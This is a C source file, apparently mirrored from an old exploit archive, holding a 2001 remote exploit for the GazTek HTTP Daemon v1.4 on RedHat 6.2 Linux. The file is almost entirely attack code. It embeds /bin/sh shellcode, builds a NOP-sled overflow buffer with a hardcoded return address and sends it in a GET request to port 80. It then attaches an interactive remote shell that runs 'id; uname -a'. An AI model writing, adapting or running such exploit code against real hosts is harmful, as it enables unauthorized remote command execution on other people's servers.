home *** CD-ROM | disk | FTP | other *** search
- /*
- * GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
- * by qitest1 - 17/06/2001
- *
- * Root privileges are dropped out by the daemon, so a shell owned by
- * nobody will be executed.
- *
- * 0x69.. =)
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define RETPOS 161
-
- struct targ
- {
- int def;
- char *descr;
- unsigned long int retaddr;
- };
-
- struct targ target[]=
- {
- {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},
- {69, NULL, 0}
- };
-
- /* Just the dear old Aleph1's shellcode. This is the only shellcode
- * that seemed to work with this vulnerability. All the other ones
- * made the daemon crashing too early and zapping out connection,
- * shell and all their friends.
- */
- char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- char mybuf[RETPOS + 4];
-
- int sockami(char *host, int port);
- void do_mybuf(unsigned long retaddr);
- void shellami(int sock);
- void usage(char *progname);
-
- main(int argc, char **argv)
- {
- int sel = 0,
- offset = 0,
- sock,
- cnt;
- char *host = NULL,
- sbuf[1024];
-
- printf("\n GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
-
- if(argc == 1)
- usage(argv[0]);
- while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
- {
- switch(cnt)
- {
- case 'h':
- host = strdup(optarg);
- break;
- case 't':
- sel = atoi(optarg);
- break;
- case 'o':
- offset = atoi(optarg);
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- if(host == NULL)
- usage(argv[0]);
-
- printf("+Host: %s\n as: %s\n", host, target[sel].descr);
- printf("+Connecting to %s...\n", host);
- sock = sockami(host, 80);
- printf(" connected\n");
-
- target[sel].retaddr += offset;
- printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
- do_mybuf(target[sel].retaddr);
- printf(" done\n");
-
- sprintf(sbuf, "GET /%s\n\n", mybuf);
- send(sock, sbuf, strlen(sbuf), 0);
- printf("+Overflowing...\n");
-
- printf("+Zzing...\n");
- sleep(2);
- printf("+Getting shell...\n");
- shellami(sock);
- }
-
-
- int
- sockami(char *host, int port)
- {
- struct sockaddr_in address;
- struct hostent *hp;
- int sock;
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if(sock == -1)
- {
- perror("socket()");
- exit(-1);
- }
-
- hp = gethostbyname(host);
- if(hp == NULL)
- {
- perror("gethostbyname()");
- exit(-1);
- }
-
- memset(&address, 0, sizeof(address));
- memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
- address.sin_family = AF_INET;
- address.sin_port = htons(port);
-
- if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
- {
- perror("connect()");
- exit(-1);
- }
-
- return(sock);
- }
-
-
- void
- do_mybuf(unsigned long retaddr)
- {
- int i,
- n = 0;
- unsigned long *ret;
-
- memset(mybuf, 0x90, sizeof(mybuf));
- for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
- mybuf[i] = shellcode[n++];
- ret = (unsigned long *)(mybuf + RETPOS);
- *ret = retaddr;
- mybuf[RETPOS + 4] = '\x00';
- }
-
- void
- shellami(int sock)
- {
- int n;
- char recvbuf[1024];
- char *cmd = "id; uname -a\n";
- fd_set rset;
-
- send(sock, cmd, strlen(cmd), 0);
-
- while (1)
- {
- FD_ZERO(&rset);
- FD_SET(sock,&rset);
- FD_SET(STDIN_FILENO,&rset);
- select(sock+1,&rset,NULL,NULL,NULL);
- if (FD_ISSET(sock,&rset))
- {
- n=read(sock,recvbuf,1024);
- if (n <= 0)
- {
- printf("Connection closed by foreign host.\n");
- exit(0);
- }
- recvbuf[n]=0;
- printf("%s",recvbuf);
- }
- if (FD_ISSET(STDIN_FILENO,&rset))
- {
- n=read(STDIN_FILENO,recvbuf,1024);
- if (n>0)
- {
- recvbuf[n]=0;
- write(sock,recvbuf,n);
- }
- }
- }
- return;
- }
-
- void
- usage(char *progname)
- {
- int i = 0;
-
- printf("Usage: %s [options]\n", progname);
- printf("Options:\n"
- " -h hostname\n"
- " -t target\n"
- " -o offset\n"
- "Available targets:\n");
- while(target[i].def != 69)
- {
- printf(" %d) %s\n", target[i].def, target[i].descr);
- i++;
- }
-
- exit(1);
- }
-
-